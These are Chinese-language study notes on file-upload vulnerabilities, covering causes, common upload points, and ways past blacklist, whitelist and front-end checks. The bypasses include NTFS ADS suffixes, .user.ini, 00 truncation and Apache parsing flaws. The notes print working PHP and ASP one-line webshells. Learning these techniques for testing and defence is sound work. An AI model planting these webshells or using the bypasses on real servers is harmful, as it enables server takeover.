from Kuller_Yan
Web应用程序在处理用户上传的文件操作时,如果用户上传文件的路径、文件名、扩
展名成为用户可控数据,就会导致直接上传脚本木马到web服务器上,直接控制web
服务器。
原因:
1:文件上传时检查不严,或者仅仅在客户端进行检查(任何基于前端的过滤都是不安全的)
2:修改文件名时处理不当
3:使用第三方插件引用
常见安全问题:
(1)上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。
(2)上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过
类似方式控制策略文件的情况类似);
(3)上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
(4)上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被
用于钓鱼和欺诈。
(5)上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器。
常见存在文件上传功能的地方:
(1)头像
(2)网站logo
(3)友情链接处:可能会可以添加logo
(4)编辑器
(5)后台中的文件管理
(6)模板管理
(7)主题管理
(8)插件管理
(9)水印图片处
(10)一些网站的写文章的地方,比如可以上传图片
(11)添加商品
(12)上传简历
(13) jQuery-File-Upload
(14) 。。。
webshell:就是以asp,php,jsp,或者cgi等网页文件形式存在的一种命令执行环境
也可以成为后门
一句话木马:<?php eval($_POST['cmd']);?>
也可以:(一般ctf里面过滤问号可以用这个)
常用工具:
burp suite:老好用了;
火狐的hackbar
大马:指木马病毒;php大马,就是php写的提取站点权限的程序;带有提权或者修改站点功能。
ASP写的带有提权或者修改站点的功能,所以称为叫大马
asp&&aspx一句话木马:
<%eval request(“caidao”)%>
<%@ Page Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>
黑名单可以,畸形后缀绕过;
绕过:
前端过滤约等于没有过滤
1:F12,设置精致javascript执行
2:上传之后抓包改后缀
黑名单过滤:
文件类型过滤:
http头里面的content-type(在http协议消息头中,它用来表示具体请求中的媒体类型信息):(服务端校验)
text/html 代表 HTML 格式
image/gif 代表 GIF 图片
Image/png 代表 GIF 图片
application/octet-stream 二进制流,不知道文件类型(PHP)
application/json 代表 JSON 类型
绕过方式:
1:畸形后缀名:
2:根据windows特性:
NTFS ADS特性:
①、上传 shell.php::$DATA
②、上传 test.jpg..
③、上传 1.php<> 之类的后缀名,和 ② 类似。
④、上传 1.php:.jpg
1.php:.jpg 这类文件在上传后,在Windows中会被保存为一个 空的 1.php 文件,然后可
以再上传一个 1.php<> 或者 1.php<< 或者 其他Windows不允许的后缀,就会覆盖 前边那个空的
1.php
其他方式:
大小写改变
双写
利用apache解析漏洞
.htaccess
.user.ini
白名单过滤:
检测方式:
1:前端判断
2:文件类型判断
3:后缀名判断
4:文件内容
绕过方式:
1:00截断
2:apache解析漏洞
3:文件包含 (图片马,包含getshell)
4:条件竞争上传
apache解析漏洞:识别文件的规则是根据后缀名从右往左识别的,
遇到不在识别范围内的就会自动忽略,往左进行识别,如果左边是在
解析范围内的就会正常解析,而一般程序进行判断文件是否允许上传是
根据最后的后缀名进行判断的。
(只存在老版本中)
配置错误导致的解析漏洞:
对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,是用户配置不
当造成的
00截断:
与php版本有关,要很老的版本才能用
使用.user.ini绕过黑名单
条件:
脚本语言为PHP
上传目录有可执行的php文件
使用方式:
上传个图片
上传.user.ini文件,内容为auto_prepend_file=2.png
访问:http://IP/upload/2.png/xx.php(目录里的一个php文件)